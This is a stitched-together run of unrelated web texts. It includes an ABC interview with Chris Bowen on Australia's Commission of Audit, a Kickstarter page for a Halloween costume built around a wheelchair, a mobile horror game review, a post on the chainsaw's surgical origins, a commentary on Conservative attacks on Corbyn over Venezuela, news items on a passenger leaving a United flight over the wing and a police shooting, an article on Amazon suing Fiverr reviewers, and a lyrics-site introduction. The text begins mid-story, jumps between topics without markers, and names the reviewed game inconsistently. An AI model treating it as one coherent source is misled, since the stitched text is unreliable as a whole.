Tributes to the two men were also paid in their native Bangladesh.
Foreign Minister Mohammed Shahriar Alam condemned what he called a "cowardly act on peace-loving people" and the US ambassador to Dhaka, Marcia Bernicat, said Imam Akonjee "stood for peace".
CHRIS BOWEN, SHADOW TREASURER: Pleasure Tony.
TONY JONES: You've got a lot to choose from. Where will you start your scare campaign? .
CHRIS BOWEN: It's not about a scare campaign; it's about holding the Government to account for its promises which it made fundamentally to the Australian people and also engaging in a proper discussion about fairness, as well as about impact on the Budget. So we've outlined a process whereby we've indicated some issues of principle which we won't be supporting. There's other things we've said we'll need time to have a look at.
TONY JONES: Inevitably there will be to scare campaign, I think you know, you'd have to be, illogical not to think there won't be.
CHRIS BOWEN: There will be a debate and contest of ideas. We'll be vigorously putting a case when it comes to fairness and equity in a return to Budget surplus over time. We'll be putting a case about principles and priorities and the wrong priorities of the Government. We'll be putting a case that we shouldn't be charging people to go to the doctor when we're giving up people up to $50,000 to have a baby. We'll be putting a different set of priorities to the Australian people than the Government is presenting. I don't call that a scare campaign, I call that a contest of ideas, a contest of ideas we're up for and will be engaging in proactively, constructively but passionately.
TONY JONES: When the Government does not accept many of these recommendations, one assumes you'll keep using them to hammer the Government all the way to the election.
CHRIS BOWEN: The Government commissioned this report. The Government said that they could return the Budget to surplus without new taxes and now they're taking the tax rates back to levels we haven't seen since before Paul Keating started reducing marginal tax rates in the 1980s - who would have thought that we could see a Liberal Government increasing the marginal tax rates to pre-1980s levels. We're also seeing the Government make clearly cuts that they said they wouldn't need to make before the election, which we said they would. This is their voodoo economics catching up on them. They said we can return the Budget to surplus without new taxes and without any further cuts over and above the ones they announced during the election campaign. That was always, Tony, a lie, and is now being shown for the lie it always was.
TONY JONES: Let's stick, if we can, to the Commission of Audit, the thing that was released today, you claim that Joe Hockey will accept the vast majority -
CHRIS BOWEN: Well, he says that.
TONY JONES: ...of those recommendations.
CHRIS BOWEN: He says that. That's his test Tony, if he doesn't...
TONY JONES: He said that before he had the report.
CHRIS BOWEN: He said, "We've commissioned the report so we can accept the vast majority of recommendations." With all due respect, he should be held to account for the statement, not anybody else.
TONY JONES: He said it before he received the report.
CHRIS BOWEN: He said it. He said just this year, wasn't 12 months, wasn't five years ago, he said this year they'll be accepting the vast majority of the recommendation of the report. Now if he doesn't want to be held to account for his own statements he can explain that.
TONY JONES: As we know from what we just saw and it's really something for us all to remember, Peter Costello got a perhaps even harsher audit report and in the end very few of those harsh recommendations were accepted or adopedt by the government. The same thing will happen this time, inevitably, won't it?
CHRIS BOWEN: Well that comes down the too the Government's credibility. They've talked the big talk, hit their chest in typical Joe Hockey style, done the bluff and bluster about the age of entitlement and how tough he's going to be. Well we'll see. Now we will be engaging in the debate, in the national conversation constructively but passionately as I said. And we will assess measures, when the Government actually proposes measures - they've had the report for months, they've proposed no measures today, they've simply released the report. With they actually propose measures, we'll assess those measures based on impact of the Budget. There's a whole lot of recommendations here today with no dollars attached to them, we don't know what the proposed save recession for individual measures, and we'll assess it against principles of fairness and equity.
TONY JONES: You accept though that this not a Government policy document, this the ideas of a small group of quite conservative commissioners on how to, in a way, re-imagine the social contract. It's not the Budget.
CHRIS BOWEN: Clearly it's not the Budget. It is a report commissioned by this Government that they said they'd accept the vast majority of recommendation of.
TONY JONES: Where will you concentrate your attack, the threat against the universality of Medicare, the co-payments? Where does Labor see that it will be, from your point of view, most effective to approach the attack?
CHRIS BOWEN: We are outlined some principles. You raised Medicare, universal health care is the fundamental principle of Medicare. What are the fundamental underpinnings of Medicare? That the health of any us should be the concern of all of us, number one. Tow, that your health should not be determined by your wealth. And those principles determine we will oppose any moves to charge to go to the doctor. Where whether it be $6 or $15, if you're a family with children - plenty of families out there with four or five children and once one gets sick the rest get sick and before you know it - it is very expensive to have a family which has illnesses. We will not tolerate that. We will fight, fight and fight again for the principle of universal health care.
TONY JONES: On the disability support pension, the recommendation is to tighten assessment and participation criteria, I should say, for people under 35 with some capacity to work. Now it's clear that the Minister Kevin Andrews has been focusing on this area. Do you agree this does need serious reform?
CHRIS BOWEN: Of course, frankly, successive Governments have reformed the issue of disability pensions. We'd have to look at it in details of any proposals. We'd assess it against the criteria of fairness. Of course anybody who can be in work should be in work, but there are plenty of people out there who find it very difficult because of no fault of their own to find work and we need to assess any concrete proposals to ensure fairness in the way that -
TONY JONES: You're not out rejecting changes to the disability support pension as a savings measure?
CHRIS BOWEN: Just as a matter of principle as we go down this list, we got the report a matter of hours ago, it would be highly irresponsible of me on behalf of the Opposition to rule in or out a range of proposals from which we've only just seen, which have very significant and serious implications, both budgetary and for the people affected. As I've said the Government's had it for months, with all the support of the bureaucracy, they haven't felt they were in a position to declare their decision on many of the matters. If they're not going to be held to that level of accountability to say what would you rule in, what would you rule out, there are some matters of principle -
TONY JONES: You are asking Joe Hockey to rule in and rule out, aren't you, before the Budget and so basically we're just asking you the same questions.
CHRIS BOWEN: He has ruled things in and out. The report has recommended that his rolled gold excessive paid parental leave scheme be rolled back dramatically. He's refused to do so. So he's prepared to play pick and choose. What I've said is, and Bill Shorten has said, is that we will have matters of principle; GP, tax is one, the National Disability Insurance Scheme is another. This is scheme we can't afford to delay, it's not a matter of can we afford to do it, it's a matter of can we afford to delay it? It's well overdue, it's a scheme which looks after the nation's most vulnerable, which says to parents who may be getting on, if you have a disabled child there will be somebody to look after them. We can't afford to delay that any longer. Tony Abbott said before the election, we just saw it, he was doctor yes when comes to the NDIS. He should immediately say he will not slow down the roll-out of the NDIS.
TONY JONES: Some of the big decisions on superannuation, preservation age, aged pensions, asset testing and so on will not be introduced until 2027 according to the advice here. Do you back those kind of changes or are you worried that the younger generations are going to have to bear the burden for the Baby Boomers who seem to be getting away scot-free in most of this?
CHRIS BOWEN: Let me put it this way Tony, I completely accept that there are demographic changes which require adjustments to policy. I completely accept that and the demographic changes is the aging of the population. I more than accept it. I've said it for some time. And hence we took measures, not only to increase the age which you can access the aged pension over a long period of time, but also to encourage and to assist people to save for their own retirement through increasing the superannuation guarantee from nine per cent to 12 per cent. And provide low and middle had income earners with the capacity to save so much through their superannuation that they wouldn't need the full aged pension. The latter Joe Hockey is scrapping, so he should not be lecturing us and lecturing the Australian people about the need to deal with the sustainability of the aged pension when policies that he has implemented are making the aged pension less sustainable.
TONY JONES: What about the assets test, because that's something that Labor has tried to introduce itself in the past?
CHRIS BOWEN: We'd have to have a good look at the distributional effects of that, what it means for equity and what it means for the Budget. There's no dollars attached to this proposal, we don't know what the impact -
TONY JONES: You heard what Tony Shepherd said today. He said that an issue that actually targets wealthier Australians.
CHRIS BOWEN: We would have a look at that...
TONY JONES: Not rejecting it outright then?
CHRIS BOWEN: The matter of principle, Tony is that where there's a proposal like this, which is a substantial one, it would be irresponsible for us to say in a matter of hours that we've looked at it in great detail. Now they've put a threshold on the value of the proper, I think $750,000. Well, that means something in Sydney which it doesn't mean in other parts of the country. We'd have to look at the full distributional impacts, what it means for people affected. Again, if and when the Government actually puts forward a proposal to do so.
TONY JONES: Since Labor acknowledges the needs to be cost savings, there needs to be a way of paying for big policies, would Labor actually look at some of the issues that have been left out here, targeting superannuation tax breaks for wealthier Australians, for example, or negative gearing or the fuel rebates, the three areas that have been completely left out of this audit?
CHRIS BOWEN: I think you could expect us to be not only constructive in the debate about the Budget but proactive about the debate. On superannuation, I think superannuation should be - there should be a principle observed that changes should be made rarely because people deserve certainty in planning for retirement incomes. That's a principle which I enunciated when I was treasurer and I still believe now as Shadow Treasurer. On other matters we'll put forward proposals at the next election -
TONY JONES: So when entitlement is given you'd be reluctant to take it away?
CHRIS BOWEN: Well the principle I put in is that changes to superannuation should be made every five years through a proper process, transparent consideration through a council of superannuation guardians. That would continue to be the preferred approach I would take. On other matters, we would put savings proposals up at an appropriate time in the electoral cycle.
TONY JONES: You did have a long time in Government to put up really serious savings proposes.
CHRIS BOWEN: And we did. 130 billion of them Tony.
TONY JONES: You didn't - I don't recall any that would explain how you were going to pay for your giant policy reforms, like the NDIS or Gonski down the track. People have to think about those things now and work out how to pay for them.
CHRIS BOWEN: I completely disagree with the assertion there, Tony.
TONY JONES: How are you going to pay for the billions and billions of dollars down the track for both of these?
CHRIS BOWEN: This is the big lie Joe Hockey has conveniently and up with since the election. Before the election he says he was fully locked in to the NDIS. Now he says it's not paid for, it's cost more than I thought. If that's the case he can't read a Budget paper, because we put into the Budget not just a four year funding program, but beyond that. We took difficult decisions, like - like depressing the Medicare levy, like depressing the Medicare levy to pay for NDIS.
TONY JONES: At the same time the Budget was blowing out year after year after year.
CHRIS BOWEN: We put in place measures like abolishing the baby bonus, introduced by Peter Costello, we looked at it and said with the budgetary circumstances not sustainable, we abolished it. The fastest-growing area of the Federal Budget, Tony, was the private health insurance rebate. The single-fastest growing area, unsustainable. So we dealt with it. We means tested it. Not a word of support from the Liberal Party. They opposed it tooth and nail and it's still their official policy to reverse it. So we put in place those measures, because I do accept, more than accept, have been saying that there are long-term pressures on the Budget as a result of the aging population, increasing health costs are being dealt with by Governments, not only around Australia but around the world, but you do so sustainably.
TONY JONES: Joe Hockey makes the case that it wasn't sustainable, you're supposed to have a two per cent levy or two per cent limit on Government spending, a cap, and you burst through that according to him.
CHRIS BOWEN: Wrong. He's wrong. We comply would that spending cap post-GFC. We put that spending cap on after the GFC and complied would it. Every step of the way we complied with it. It is simply wrong for him to say that, and this is his great lie again. He says in the mid year economic forecast he took the spending cap out, which saw the Budget deficit blow out unsurprisingly, then last week he says, "I'll be putting a spending cap on," so he returns to a spending cap and says look I've reduced the Budget deficit. Well it's a two-card trick. But there are important principles here Tony; Budget sustainability is one of them, fairness and equity is another of them. When it comes to things like health care, you can go down this road, you can put charges on going to the doctor. Not only do you throw equity out the window, but you start to go down the road of the American system. Now that is an option available to Governments, but one we have rejected and Medicare is one of the best and most sustainable and fairest health systems in the world. We spend less on health care in Australia as part of GDP than about half of what America spends and we do it well, and that has been about -
TONY JONES: So many issues to talk about, family tax benefits, change is inevitably coming. These are not things you're going to roll back in the future, because one imagines you agree there needs to be changed?
CHRIS BOWEN: Well again, there are a whole range of recommendations here, some of which would cause us concern in relation to carers, for example, others of which are complex and detailed.
Jenny Macklin has begun a comprehensive process and review of the entire welfare system. We're doing that proactively, this is not just about being constructive it is about being proactive. She's been engaging with round tables, with academics, the community sector, private sector, about what the welfare system looks like in the 21st century. This isn't just looking at proposals that the Commission of Audit has come up with. We'll be looking at frankly a welfare system which has developed in an ad hoc fashion and it's been a long time since somebody looked at it in a holistic fashion. That's the process Jenny Macklin's been leading, so that will inform us and again based on very important Labor values.
TONY JONES: I still think and you'll have to correct me if I'm wrong, but I don't believe that Labor put in any recommendations to how it was going to pay for the many billions of dollars five years and beyond for the big policies.
CHRIS BOWEN: I will take you up on that, Tony, because they were fully funded in the Budget. Measures like, difficult measures like increasing the Medicare levy to pay for the National Disability Insurance Scheme, there were changes to family payments, there were changes to funding mechanisms all the way along, not just over the four years, but over the 10 and when Joe Hockey says otherwise, he is being misleading to the Australian people.
TONY JONES: Now the commission was meant to focus exclusively on expenditure but it did stray into revenue. It included a system whereby the States might be able to raise income tax for the delivery of services. This is part of a broader arrangement where the States would be much more responsible for delivering services than they are now. Do you agree with that principle or not?
CHRIS BOWEN: I find that very troubling, Australia took a big step towards a more efficient, more modern national economy in 1941, when we got rid of state income taxes. And then Chifley as Treasurer introduced a very worthwhile reform. I'm not sure it's a forward step to go back to the pre-1941 system for a couple of reasons. One, we are a middle-sized economy that can't afford to have our economy broken into eight different jurisdictions when it comes to income tax.
Secondly, it will provide a very significant administrative burden to business. If you're employing people across different State and Territory boundaries and you've got to deduct different levels of tax, then that's going to increase the cost to business substantially, I would submit. And you've got to look at where people are working and living. It becomes a complex system, which I say, we moved away from 70 years ago. I think this is in-principle a backward step. I would need a huge amount of convincing. We need to be heading in the opposite direction, that's where we've been heading, we've been harmonising regulations, harmonising workplace safety regulations, harmonising consumer laws across State and Territory boundaries, that's the right approach, going backwards and saying let's have different tax levels is, I think, counterproductive.
TONY JONES: The commission also suggests that it would be a good idea to re-examine both the rate and the base of the GST. You presumably reject this out of hand, but if a Government did that, as you've done in the past, you probably wouldn't roll it back, would you, because there's a source of revenue you could rely on.
CHRIS BOWEN: Again, Tony, what we see here is a values debate largely. We think the GST, an increase in the GST - I'm happy to have a long discussion about an increase in the GST, but it would affect low and middle income earners predominantly and therefore it's not a move we support, broadening the base or increasing the rate. And also I think you can have a proper discussion about tax reform which does want involve increasing the GST or broadening the base and hence we don't support that. Now if the Government promised that they wouldn't do that and I recall Tony Abbott saying would never ever happen going into the future, if he wants to breach that promise, then we'll deal with that.
TONY JONES: Well he's saying that it won't happen in this term.
CHRIS BOWEN: He said it would never happen.
TONY JONES: I understand what you're saying, but he said there's going be a tax review, they're going look at issues including the GST, which Labor ruled out from its tax review.
CHRIS BOWEN: We maintain the position that increasing the GST or broadening the base is not good policy, but I think we could have a good proper discussion at tax which doesn't necessarily include doing that.
TONY JONES: Chris Bowen, thank you for joining us.
**Hooray, we are funded!**
**Our first three Stretch Goals were also reached!**
**You are awesome!**
**We still need your help!**
$10,000 (Final Goal)
Again everything we earn above $4,500 will go toward future projects. If we reach the goal of $10,000, then we will begin work on starting a 501c3 and make a dedicated charity where we can raise money for projects like this. We will lay the ground work for changing the face of what it means to be in a wheelchair at least for one epic night a year! We will raise awareness of Muscular Dystrophy, while bringing a large portion of epic joy to those that suffer with the difficulties that this disease brings. Help us grow and give. This is just the beginning!
*******News Flash!*******
KPTV News Channel 12 in Portland ran a story about our campaign!
*******News Flash!*******
The Stan Winston School heard about our project and offered support and help to insure that this project is a success! Thank you Stan Winston School of Character Arts, we couldn't do this epic project without you!
EPIC BACKSTORY
First of all, if you haven't heard the term Muscular Dystrophy (MD), check it out at MDA.org. You might have heard of a small movement called the Ice Bucket Challenge? This craze is helping to raise awareness for ALS, a branch of MD. Join us on this adventure as we help bring hope and awareness to another branch of MD called Spinal Muscular Atrophy (SMA).
We have four children. My first son, Keaton, was diagnosed at 9 months old with SMA and this diagnosis has forever changed our family and how we do things. I could write you a long, sometimes difficult, but ultimately amazing story of our adventures with our children and SMA, but for now let's just say that we have to look at life through a different set of lenses than the average man or woman.
Keaton the Brave, Ryan the Dude, and Bryce the Fearless
That's what really set this whole project in motion five years ago when Keaton got his first wheelchair. Enter Halloween 2008. "Hey pal. What do you want to be for Halloween?" I ask. Keaton thinks for no more than a second and responds, "A pirate."
My thoughts go a little like this, “Ah cool, at least he doesn’t want to be Dora the Explorer, one of his favorite shows at the time.”
A couple days later I had one of those moments when my brain decides it's the best time for thinking - this usually seems to happen way too early in the morning when I should be sleeping or in the shower - but during this magical thinking moment I realized, “Keaton has this wheelchair he cruises around in, and every pirate needs a ship, so let's just build one around his chair!”
I didn't know how I was going to do it, but I knew that it could be done somehow. I don't believe that there are any goals, dreams, or aspirations in life that can't be achieved, and besides, I was only building a pirate ship, not finishing a PHD in engineering. I drew out some rough plans, and had to start over once or twice, but in the end I came out with a pretty awesome pirate ship for Keaton to sail around in for Halloween.
Keaton in his first Epic Costume - "The Pirate Ship."
Keaton loved it! What kid wouldn't love having a pirate ship to roll deep in, sailing through the streets, collecting Halloween booty? He even made the front page of the newspaper!
So that's how this all started. Now every year as I pose the question, "What do you want to be for Halloween, Keaton?" I can’t help but cringe in anticipation of the challenge that each answer will issue. It's always fun, frustrating, discouraging, occasionally painful, and (my wife would add) expensive.
Ultimately, creating each costume provides an awesome experience: taking something from Keaton’s imagination and seeing it realized as we hit the streets with our kids leading the way. People are amazed and it is a great opportunity for us to let people know about SMA and MD. Absolutely the most rewarding thing is hearing my kids say along the way, "That's awesome, Dadda!!!"
OUR CURRENT EPIC COSTUME PROJECT
So this year I asked the question, and the challenge was issued. Keaton has chosen to be Toothless from How to Train Your Dragon. My immediate thought was, "Crap, how am I going to do this? I can't afford a project this big!"
toothless
One late evening I was looking for ideas on how I could build Toothless. I came across the Stan Winston School of character arts.
Stan Winston School Screenshot
Stan Winston is legendary in the special FX world. His creations have been featured in movies like Jurassic Park, Terminator, and Iron Man. He has created so many iconic creatures, costumes, and monsters for other films, and their school teaches anyone how to do it.
How does this apply to this costume? Since Stan's death they have started an online school that teaches his methods. His school teaches techniques than anyone with patience, time, and money can follow and get great results. No I'm not a special effects guru - just a nerdy nurse with an imagination! So this is going to be a huge help with the whole learning curve. This year I don't have to try to reinvent the wheel.
Specifically I will use the techniques taught by Ted Haines that show how to create creatures for low budget movies or costumes out of specialty foam.
Foam dinosaur before paint is applied
This project is going to be more intense than any I have done to date. Each year our ability to make cooler, more epic projects improves, but there is a limit to what we can do with just our resources. The only way this level of awesomeness can see the light of day is through your help here on Kickstarter.
Nearly Finished T-Rex head
The materials and specialty tools for this project have outgrown the humble capacity of the money tree we have planted in our back yard. Since I first started doing this, I've hoped to be able to create some more interest and fund bigger projects and be able to share the adventure and ability to create these projects with others.
THE EPIC NUTSHELL
So here is the goal: We need to raise money to purchase the specialty tools and materials needed to make an epic costume and be able to share that experience with all of you. Every penny of the $1,500 is needed for the tools and materials, and we need your help! I have the ability, the crazed look in me eye to create, and the motivation to get it done. I just need your help to fund the cost!
Please sign up for one of the rewards, share this Kickstarter project on your Facebook feed, and help us reach our goals!
EPIC STRETCH GOALS
$2,000 (ACHIEVED!)
We reached the goal of $2,000. We will be creating a professionally produced video of the big day! We will hire a local videographer to follow us across the whole day. You will see firsthand the joy of this magic day and the excitement that this project will bring to all the people that Keaton flies with! We will post this video and share it with all our backers!
$3,000 (ACHIEVED!)
When we reach the goal of $3,000, we will hire an artist to make process drawings of the project and share it with everyone that donated at any level! This will be a step-by-step picture guide drawn out in splendid 2D glory. You will see all the steps I took to get it from my head to the streets of Oregon.
$4,500 (ACHIEVED!)
Ladies and Gentlemen you blew it out of the park! At the foundation of this project is my children but ultimately I want to be able to build epic experiences for other kiddos too. At this level my children are good to go this year and next year and we can start building for others too! Everything from here on out goes to perpetuating this year after year. We can come back next year and Kickstart for other kiddos. The more we grow the more we can give!
$10,000 (Final Goal)
In my experience a game that begins with the protagonist trapped in a haunted house can go one of two ways—Alone in the Dark or Luigi’s Mansion. WayForward Technologies’ Til Dying Light, available now for iOS and Amazon Fire, falls somewhere in-between—it’s goofy fun, but the threat is very real. If our heroine doesn’t unravel the curse that’s been trapping souls for hundreds of years, she’s toast.
Luckily Erica Page isn’t your average teenage girl.
She’s a Buffy. She’s Veronica Mars. She’s the type of girl who can take gruesome creatures and the ghosts of the departed in relative stride. Her relaxed attitude towards her unfortunate predicament immediately sets the game’s tone—things are bad, but nothing we can’t handle.
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What we’re handing is a disembodied voice named Crowes who isn’t too happy about you being in his home. It’s room after room filled with nightmare creatures we must face in rhythm-based tap combat. It’s finding the keys to open new rooms to find the clues necessary to find the next key.
Some might say it’s a standard adventure game with monster combat tacked on—and they wouldn’t be far off. There are times in Til Morning Light when the bug and boogeyman battling gets to be a bit much. Rooms filled with wriggling worms, each a tap-based combat encounter, feel like they’re simply there to waste time. Of course they are, but that’s not something game developers want the player noticing.
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But whenever the veneer starts to slip, WayForward ups the charm factor, restoring the game’s charm with a witty piece of well-spoken dialog, a particularly clever puzzle or an entertaining boss fight.
Ultimately Erica Page might be a little too good. Maybe it’s my penchant for rhythm games, but the combat in Til Morning’s Light is a breeze, each new, more powerful creature is just a couple more taps hit on cue. Boss fights mix puzzles into the formula, but as long as one’s taps are true and their mind sharp, they don’t pose much of a threat.
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And really that’s just fine with me. I prefer a more proactive sort of horror adventure. When I’m breaking a curse, I want that curse to be afraid of me. Better to have it on the run than to constantly be looking over my shoulder.
Til Morning’s Light is the latest title in Amazon Game Studios premium game initiative, joining previously-released Tales From Deep Space and Lost Within as a game that trades a premium mobile price—$6.99—for a more traditional gaming experience completely devoid of microtranasctions. It’s got a level of polish that’s far beyond that of average mobile titles for iOS or Fire devices, attempting to raise the bar in a market whose customers seem more than happy having said bar repeatedly dropped on their heads. I’d love to see more games like it on mobile.
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Til Morning’s Light
Genre: Horror Adventure
Developer: Wayforward Technologies
Platform: Amazon, iOS
At first I didn’t even realize that this (offensive and poorly written) post that appeared on my G+ stream was a repost from the Science on G+ community to the Woodworking community, as I didn’t draw the immediate connection. It is a very interesting tidbit I thought merited a slot on the Tidbit line up.
Most of us don’t give a lot of thought to the origins of things we see around us… there is just too much going on and a lot of things seem like common sense. After all, it just seems natural to assume that the chainsaw was invented for, you know, cutting things like wood… right?
Nope. It started out as a tool known as an osteotome, used for removing bone (and still used to this day, particularly in dental applications) and to perform symphyiotomies (also known as Gigli’s Operation), the cutting of a woman’s pelvic ligaments to assist in childbirth (other knives and saws were also used such as Galbiati’s knife, Gigli’s saw, scapels, and others). Multiple versions of chain osteotomes were developed in the 18th and 19th century, so the exact history and credit of the invention is disputed.
Image via Wikipedia
Reference to symphysiotomy published in 1894. (Edit: Added to clarify, the above is from “The Medical Times and Register, Volumes 27-28.”)
John Aitken’s work creating a chain saw for symphysiotomies is referenced heavily referenced, it should be noted it was what Aitken referred to as a “flexible knife” or “flexible saw.” (EDIT: Added to clarify, the above embed is Aitken’s “Principles of Midwifery or Puerperal Medicine”, 3rd Edition published in 1786.)
In the developed world, symphysiotomies have been largely replaced with cesarean sections but the practice continues to this day.
FURTHER READING
Irish Doctors Used to Break Women’s Pelvises So They Wouldn’t Miscarry
@CCHQPress screengrabs
Wall-to-wall tweets and retweets urging the Labour leader Jeremy Corbyn to denounce the Venezuelan government’s authoritarian power grab.
You can see at first why CCHQ thinks this is a clever idea. President Nicolás Maduro is a socialist, and Corbyn and other left-wing British politicians have spoken positively about him and Hugo Chávez’s preceding administration in the past – prior to this crisis.
The Tories are using this to try and scare voters into thinking a Corbyn-led Britain would experience the political and social turmoil of Venezuela, while at the same time criticising the Labour leader for his silence about undemocratic and violent activity. They are targeting both socialism as an ideology and Corbyn as leader: a double whammy.
But this is unlikely to have the desired effect for two reasons. The first is it’s such a naked political calculation. The Conservative Party didn’t even have its own official line on the Venezuelan situation before today, when Tory MP Nadhim Zahawi commented:
“Jeremy Corbyn’s silence on Venezuela grows louder every day and it’s time he accepted the facts and condemned the actions of President Maduro. “The hard left have never met a banana republic they don’t like but Jeremy Corbyn and his socialist sidekicks simply can’t stand silently in support as the Venezuelan people suffer at the hands of a corrupt and brutal dictator.”
The Tories were pulling this statement together only this morning – days after the party first began calling on Corbyn to condemn Maduro. And it only focuses on Labour.
Yes, the Foreign Secretary Boris Johnson has made an official statement (and some freelance remarks), but so has his opposite number Emily Thornberry, who expressed concerns about Maduro’s “increasingly authoritarian rule”. Labour also released this official statement from shadow foreign minister Liz McInnes on Monday:
“We mourn all those who have been killed and injured in the protests leading up to this election, and we urge everyone in Venezuela, on all sides, to end the bloodshed immediately. "In particular, we urge the government of Venezuela to recognise its responsibilities to protect human rights, free speech and the rule of law. The outcome of this election cannot be treated as a mandate for a further escalation of repression, division, and violence. "President Maduro must also respond personally to the legitimate concerns of the international community about the increasingly authoritarian nature of his rule and the growing hardship facing his people. "If he believes those concerns are misplaced, it is up to him to prove them wrong, not through his words, but through his deeds.”
But we still haven’t heard from Theresa May on the matter. It surely matters more what the Prime Minister – who actually has international clout – plans to do about this than coaxing the Leader of the Opposition to either reassess or double down on past views.
Secondly, it just won’t work. Look at the way the Conservatives tried to smear Corbyn ahead of the general election with the “terrorist sympathiser” label, and a constant focus on linking him to the IRA. Outside of Northern Ireland, voters were not put off by this, and they won’t be by how quickly or slowly he says some words about Venezuela either.
After all, the terrorism attack lines the Tories hit him with a few months ago were far closer to home than the machinations of a South American regime. If the former didn’t hurt him, the latter is unlikely to strike a chord.
United Airlines flight 1892 had just arrived around 1.15pm in Houston, Texas, from New Orleans when a woman is said to have gotten out of her seat, walked to the exit and pulled the hatch on the door open.
She then walked out on to the wing of the plane and jumped to the ground 15 feet below.
Scroll down for video
A woman jumped out of this taxiing United Airlines flight after the plane landed at Bush Intercontinental Airport half an hour early on Monday
The woman is said to have gotten out of her seat, walked to the exit and pulled the hatch on the door open
After a moment she got up and began running toward the terminal but was caught and detained by police.
The FBI also stepped in to question her, though it was later said she was no longer in FBI custody, according to KHOU.
Passengers on the plane captured the aftermath and said the woman didn't say anything before leaping to the ground.
One passenger, Cathy Cole, wrote on Facebook about the bizarre experience.
'We landed and waited for gate to open up as we were 30 minutes early.
She then walked out on to the wing of the plane and jumped to the ground 15 feet below
'A lady opened emergency exit door, which she was seated next to and jumped off plane. Ran to terminal.
'We stopped short of gate waiting and she got to the exit door open and jumped off onto the tarmac!
'Several people said "we have a runner" before we knew door was open! Jeez! Sitting in plane with sister and all passengers. Waiting for police and FAA to board.
Passengers on the plane captured the aftermath on the plane and said the woman didn't say anything before leaping to the ground
'Now it turns out she was in (New Orleans) at United desk. Paying cash to get on this flight. She sat in isle one row in front and across from me,' Cole wrote on Facebook.
Police say that Henry drove off when they were called to a bar and hit an officer. Witnesses allege that the officer was not struck and that Henry was responding to their orders to leave a fire lane. He was shot through the window of the car by police and then handcuffed on the ground. His friends tried repeatedly to give him CPR and were prevented from doing so by police. They say that they begged police to help Henry and that two of the friends were hit with tasers when they tried to save him. Another said that police put a gun in his ribs and told that “he would be next.”
We have not heard the account from the individual officers.
What is particularly disturbing is that the witnesses say that officers intentionally covered their badges when witnesses tried to record who the responsible officers were at the scene.
Most of the students at the bar were from Pace University and celebrating the homecoming football game. Among those arrested were Daniel Parker, of Lauderhill, Fla.; Joseph Garcia, of Floral Park, N.Y.; and Yves Delpeche, of Brooklyn, N.Y. All are 22. They were charged with disorderly conduct and obstruction. Parker and Delpeche also were charged with resisting arrest.
Mount Pleasant police Chief Louis Alagno insists that Henry was handcuffed until officers realized he was gravely wounded.
Pleasantville Officer Aaron Hess and Mount Pleasant Officer Ronald Beckley were identified as firing the shots.
At one point, the students allege, a student asked if an officer was going to shot him with everyone watching and that the officer then shot him twice in the stomach with a stun gun.
Source: Daily Record
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It turns out that I was not the only person who conducted a sting operation on Fiverr this year. Amazon also went undercover on the site to buy five-star reviews from Fiverr users in what it calls an "extensive investigation" in court documents. Amazon prohibits not only fake reviews on its site but real ones that are paid. Now it's suing the people who were willing to write reviews of Amazon's products in exchange for cash. It filed a lawsuit Friday in Seattle against 1,114 Fiverr users, alleging breach of contract and violation of consumer protection laws.
"Defendants are misleading Amazon's customers and tarnishing Amazon's brand for their own profit and the profit of a handful of dishonest sellers and manufacturers," wrote Amazon's lawyers in the complaint.
One Fiverr user I interviewed earlier this year who'd written a fake review on Yelp for my make-believe karaoke truck saying it was "perfect for a girl's night out," told me she'd written more than 100 reviews, including ones on Amazon for a Bluetooth-powered key locator and Santa Claus outfits for silverware.
"Businesses need positive reviews sometimes, because people are more likely to leave a negative review than a positive one,” she told me. When I asked another user if she realized what she was doing was illegal, violating laws against deceptive advertising, she responded, "Yes…." via a Fiverr message.
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Fortune described Amazon's lawsuit against people who write fake reviews for $5 as "going after an ant with a sledgehammer." It may seem ridiculous but Amazon hopes it will have a deterrent effect on other people willing to give out five stars for five dollars. And fake positive reviews can have a nasty effect on the overall marketplace, falsely convincing people to buy something or hire someone who turns out to not be as good as you thought based on reviews, as security blogger Brian Krebs complains happened with this moving service.
In its complaint, Amazon says the reviewers it hired through Fiverr used different IP addresses and multiple Amazon accounts to mask their activity. Interestingly, even though they have Amazon accounts, Amazon was not able to unmask them, instead suing them as "John Does." The company says in the complaint that it wants to know who they are, as well as all the people who have bought reviews from them. The delivery giant says it wants the money they've received to write fake reviews as well as legal damages.
When asked whether it would hand over its users' identities to Amazon, a Fiverr spokesperson sent over a canned statement, saying it "respond[s] promptly to any reports of inappropriate content." "The challenge of merchants soliciting illegitimate reviews is one that faces all marketplaces and online platforms," said the spokesperson by email. "In fact, in our own marketplace we restrict reviews to only those who we can verify have actually purchased a service.”
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Amazon says in its complaint that one Fiverr freelancer even gamed that system by saying he or she was willing to accept an empty envelope from a seller to create a shipping record so he or she could leave a "verified" review.
Welcome to the Annotated Mountain Goats!
Pick the release you're looking for. In the below tables, links indicate annotations. Links in italics are incomplete: those prefixed with a dash (-) contain lyrics but have yet to be annotated; those prefixed with a plus (+) instead need transcription as well. If you'd like to help, please read below and reach out!
To subscribe to updates, use the RSS feed. If you're here for buttons or stickers, see here!
Jump to the table of contents
Nota bene — help needed!
I'm still working hard on this: you can see the changelog or subscribe to the RSS feed if you'd like to see what's been happening recently. However, I'm having to slow down of late. By the beginning of next month, I'll be newly married, graduated from medical school, moving across the country to Rochester, New York, starting emergency medicine residency, and focusing on becoming the best husband, physician, and advocate for poor and suffering patients as I can be (not to be too obnoxious about it, but those are the goals — if you're curious, you can look here and here for a sense of what I mean by all that).
I'm no less devoted to this project, but already I've been forced to slow how rapidly I can respond to emails, update pages, and annotate albums, even those I truly love. I'm sorry to all of you who have emailed and have had to wait for weeks or months: as I hope you discovered, I do promise to get back to you, I just am not as swift as I once was.
If you'd like to support the project, I'd love your help — and patience — more than ever. I always love hearing from you, but particularly if you're interested in transcribing songs which lack lyrics, annotating albums which haven't been annotated, emailing me to keep me in the loop on things I may have missed, and so on. All of that helps a lot, believe it or not, and I'm grateful for all of it.
If you look below, you can see what needs to be done: as mentioned above, dashes (-) are unannotated, plusses (+) are unannotated and untranscribed. If any of it excites you, I'd love to have your contributions. The site is written in kramdown, a simple Markdown-based language — as an example, you can see what this looks like here as the source for Nothing for Juice — and you don't have to do the markup yourself if that's intimidating. I'm sorry that I'm fastidious, slow, and check everything myself, but every email is appreciated, and your help will make a bigger difference than ever (particularly on the new material, which I can't follow as closely as I used to).
You can always reach me at:
gro.gmtdetatonna@elyk
And buttons are always available.
with love &c.
— Kyle Barbour
May 2018
from where the asphalt sprouts
Indexes
Contents
Introduction
You can find this site at either of the following locations:
